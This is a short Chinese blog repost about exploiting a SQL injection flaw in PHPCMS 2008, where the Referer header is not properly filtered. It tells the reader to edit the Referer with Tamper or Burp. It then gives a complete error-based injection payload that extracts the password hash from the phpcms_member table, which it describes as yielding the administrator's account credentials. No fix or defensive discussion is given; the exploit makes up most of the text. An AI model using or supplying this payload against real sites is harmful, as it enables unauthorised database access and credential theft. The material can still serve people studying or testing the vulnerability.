phpcms2008sql注入漏洞利用

最新推荐文章于 2021-04-14 02:53:58 发布

转载最新推荐文章于 2021-04-14 02:53:58 发布 · 507 阅读

白帽学习专栏收录该内容

19 篇文章

订阅专栏

本文深入探讨了因模块取referer不严格导致的SQL注入漏洞。通过修改请求头中的referer字段，利用特定payload，演示了如何利用SQL语句查询获取管理员账号密码的过程。

https://blog.youkuaiyun.com/whatiwhere/article/details/84666165
漏洞验证
在漏洞介绍中，我们已经知道，因为模块取referer不严格，过滤不严谨，导致漏洞产生，因此我们这里就可以修改请求头中的referer，在本文中，我们直接使用火狐的插件Tamper 进行修改，或者用burp修改。
payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这样通过SQL语句查询，就可以获取管理员账号密码。